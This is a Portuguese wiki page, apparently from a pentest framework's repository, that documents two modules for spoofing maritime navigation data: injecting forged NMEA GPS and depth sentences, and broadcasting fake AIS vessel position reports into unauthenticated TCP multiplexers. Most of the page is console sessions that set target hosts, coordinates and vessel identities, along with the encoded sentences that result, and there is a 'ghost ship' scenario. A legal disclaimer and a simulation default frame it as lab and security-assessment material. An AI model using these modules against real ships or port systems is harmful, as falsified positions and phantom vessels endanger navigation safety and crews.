-
Notifications
You must be signed in to change notification settings - Fork 2
Seguranca Maritima
Idioma: Português (pt-BR) | English: Maritime-Security
Aviso Legal: Spoofing de AIS e NMEA no mar é ilegal sob a SOLAS e a legislação marítima em todas as jurisdições. Cria riscos de segurança à navegação e constitui crime sob os regulamentos da IMO. Utilize somente em ambientes de laboratório autorizados, câmaras RF fechadas, ou em avaliações de segurança marítima com permissão escrita explícita dos proprietários da embarcação e das autoridades portuárias competentes.
| Módulo | Descrição |
|---|---|
nmea_spoof |
Injeção de sentenças NMEA 0183 GPS/navegação (multiplexador TCP) |
ais_spoof |
Spoofing de relatório de posição de embarcação AIS com codificação de bits Tipo 1 |
O NMEA 0183 é o protocolo serial padrão para instrumentos de navegação marinha. Transporta posição GPS, rumo, velocidade, profundidade, vento e outros dados de sensores entre plotters de cartas, pilotos automáticos, rádios VHF e transponders AIS.
A maioria dos multiplexadores NMEA (SeaTalk, gateways NMEA 2000, servidores SignalK) aceita conexões TCP na porta 10110 sem autenticação. Um atacante com acesso à rede ou WiFi da embarcação pode injetar sentenças NMEA arbitrárias.
$GPGGA,hhmmss.ss,LLLL.LL,a,YYYYY.YY,a,x,xx,x.x,x.x,M,x.x,M,x.x,xxxx*hh<CR><LF>
-
$GP= prefixo de fonte GPS -
GGA= Dados de Fix do Sistema de Posicionamento Global - Campos: hora, latitude, N/S, longitude, L/O, qualidade do fix, satélites, HDOP, altitude...
-
*hh= checksum NMEA (XOR de todos os bytes entre$e*)
wxf > use generic/maritime/nmea_spoof
wxf (NMEASpoof) > show options
Options:
TARGET_HOST 127.0.0.1 Host TCP para o multiplexador NMEA
TARGET_PORT 10110 Porta TCP para o multiplexador NMEA
LAT 0.000000 Latitude falsificada (graus decimais, N positivo)
LON 0.000000 Longitude falsificada (graus decimais, L positivo)
SPEED_KN 0.0 Velocidade sobre o fundo falsificada em nós
HEADING 0.0 Rumo verdadeiro falsificado em graus
DEPTH_M 10.0 Profundidade da água falsificada em metros
RATE_HZ 1 Sentenças por segundo
SIMULATE true Simulação - exibir sentenças sem enviar
wxf (NMEASpoof) > set TARGET_HOST 192.168.1.100
wxf (NMEASpoof) > set TARGET_PORT 10110
wxf (NMEASpoof) > set LAT 1.264
wxf (NMEASpoof) > set LON 103.826
wxf (NMEASpoof) > set SPEED_KN 0.0
wxf (NMEASpoof) > set SIMULATE true
wxf (NMEASpoof) > run
[SIMULATE] NMEA sentences to inject at 1 Hz:
[SIMULATE] $GPGGA,083000.00,0115.840,N,10349.560,E,1,08,1.0,10.0,M,0.0,M,,*49
GGA: pos=(1.264N, 103.826E) alt=10m fix=GPS sats=8
[SIMULATE] $GPGLL,0115.840,N,10349.560,E,083000.00,A,A*6E
GLL: lat/lon confirmado ativo
[SIMULATE] $GPVTG,0.0,T,0.0,M,0.0,N,0.0,K,A*23
VTG: speed=0.0kn heading=0.0
[SIMULATE] $GPRMC,083000.00,A,0115.840,N,10349.560,E,0.0,0.0,080626,0.0,E,A*37
RMC: dados mínimos recomendados
[SIMULATE] $SDDPT,10.0,0.0*53
DPT: depth=10.0m offset=0.0m
[!] Set SIMULATE=false to inject live into TCP:192.168.1.100:10110
[!] PREREQ: Network access to ship NMEA multiplexer (WiFi, Ethernet, or serial gateway)
O AIS (Automatic Identification System) é um sistema de transmissão VHF utilizado por embarcações para anunciar posição, identidade, velocidade e rumo a outros navios e estações em terra. Opera nos canais VHF 87B (161,975 MHz) e 88B (162,025 MHz).
| Tipo | Descrição | Notas |
|---|---|---|
| 1 | Relatório de Posição Classe A | Embarcações grandes, exigido pela SOLAS |
| 2 | Relatório de Posição Classe A (atribuído) | Similar ao Tipo 1 |
| 3 | Relatório de Posição Classe A (resposta) | Similar ao Tipo 1 |
| 4 | Relatório de Estação Base | AIS em terra |
| 5 | Dados Estáticos e de Viagem | Nome da embarcação, destino, ETA |
| 14 | Transmissão de Segurança | Mensagem de segurança em texto livre |
| 18 | Relatório de Posição Classe B | Embarcações menores |
| 21 | Relatório de Auxílio à Navegação | Faróis, balizas |
wxf > use generic/maritime/ais_spoof
wxf (AISSpoofAttack) > show options
Options:
TARGET_HOST 127.0.0.1 Host TCP do multiplexador AIS
TARGET_PORT 10110 Porta TCP do multiplexador AIS
MMSI 123456789 Maritime Mobile Service Identity (9 dígitos)
VESSEL_NAME PHANTOM Nome da embarcação (máx 20 caracteres, maiúsculas)
LAT 0.000000 Latitude da posição (graus decimais)
LON 0.000000 Longitude da posição (graus decimais)
SPEED_KN 0.0 Velocidade sobre o fundo em nós (resolução 0.1)
COURSE 0.0 Rumo sobre o fundo em graus
HEADING 511 Rumo verdadeiro (511 = não disponível)
NAV_STATUS 0 Status de navegação (0=em movimento, 1=fundeado, 5=atracado)
MSG_TYPE 1 Tipo de mensagem AIS (1/2/3 = posição Classe A)
RATE_HZ 0.33 Taxa de transmissão (padrão AIS: 1/3 Hz)
SIMULATE true Simulação - exibir sentença codificada sem enviar
wxf (AISSpoofAttack) > set TARGET_HOST 192.168.1.100
wxf (AISSpoofAttack) > set TARGET_PORT 10110
wxf (AISSpoofAttack) > set MMSI 123456789
wxf (AISSpoofAttack) > set VESSEL_NAME PHANTOM
wxf (AISSpoofAttack) > set LAT 1.264
wxf (AISSpoofAttack) > set LON 103.826
wxf (AISSpoofAttack) > set SPEED_KN 12.0
wxf (AISSpoofAttack) > set COURSE 90.0
wxf (AISSpoofAttack) > set SIMULATE true
wxf (AISSpoofAttack) > run
[SIMULATE] AIS Type 1 (Class A Position Report)
[SIMULATE] MMSI: 123456789
[SIMULATE] Vessel: PHANTOM
[SIMULATE] Position: 1.264000N / 103.826000E
[SIMULATE] Speed: 12.0 kn | Course: 90.0 deg | Heading: N/A
[SIMULATE] Nav: 0 (underway using engine)
[SIMULATE] AIS bit encoding (168 bits):
[SIMULATE] msg_type=1 repeat=0 mmsi=123456789 status=0
[SIMULATE] rot=128 sog=120 accuracy=0 lon=10382600 lat=126400
[SIMULATE] cog=900 hdg=511 timestamp=60 maneuver=0 spare=0 raim=0 radio=0
[SIMULATE] NMEA sentence:
[SIMULATE] !AIVDM,1,1,,A,15NNhV0P00G?Uf6E4lFh23oP0000,0*5B
[SIMULATE] VDM: VHF Data-link Message (received from vessel)
[!] Set SIMULATE=false to inject into TCP:192.168.1.100:10110
[!] AIS spoofing is a maritime criminal offense under IMO and SOLAS
[!] PREREQ: Network access to ship AIS multiplexer (OpenCPN, deckman, etc.)
[!] NOTE: RF transmission requires SDR + VHF antenna - not implemented here
Cria uma embarcação fantasma no AIS que aparece em outros navios e no radar em terra. Pode ser utilizado para testar respostas do VTS (Vessel Traffic Service) e validação de receptores AIS.
wxf > use generic/maritime/ais_spoof
wxf (AISSpoofAttack) > set VESSEL_NAME GHOST_SHIP_TEST
wxf (AISSpoofAttack) > set MMSI 999000001
wxf (AISSpoofAttack) > set LAT -23.9617
wxf (AISSpoofAttack) > set LON -46.3333
wxf (AISSpoofAttack) > set SPEED_KN 5.0
wxf (AISSpoofAttack) > set COURSE 180.0
wxf (AISSpoofAttack) > set NAV_STATUS 0
wxf (AISSpoofAttack) > set SIMULATE true
wxf (AISSpoofAttack) > run
Injeta uma posição via NMEA que difere da posição GPS real da embarcação para testar failover do plotter de cartas e validação cruzada entre sensores.
wxf > use generic/maritime/nmea_spoof
wxf (NMEASpoof) > set LAT -23.9617
wxf (NMEASpoof) > set LON -46.3333
wxf (NMEASpoof) > set SIMULATE true
wxf (NMEASpoof) > run
# Instalar SignalK
npm install -g @signalk/server
# Iniciar com entrada TCP NMEA na porta 10110
signalk-server --listen 10110 --port 3000
# O WXF pode agora injetar em localhost:10110O OpenCPN é um plotter de cartas gratuito. Configure uma conexão de dados de rede (cliente TCP, porta 10110) para receber sentenças NMEA/AIS injetadas em tempo real.
Páginas relacionadas: Segurança de Drones | Ataques Sub-GHz | Evidências e Forense
Autor: André Henrique (@mrhenrike) | União Geek
Primeiros Passos
Ataques Wireless
Drones e UAV
Protocolos Especializados
Ferramentas de Pentest
Hardware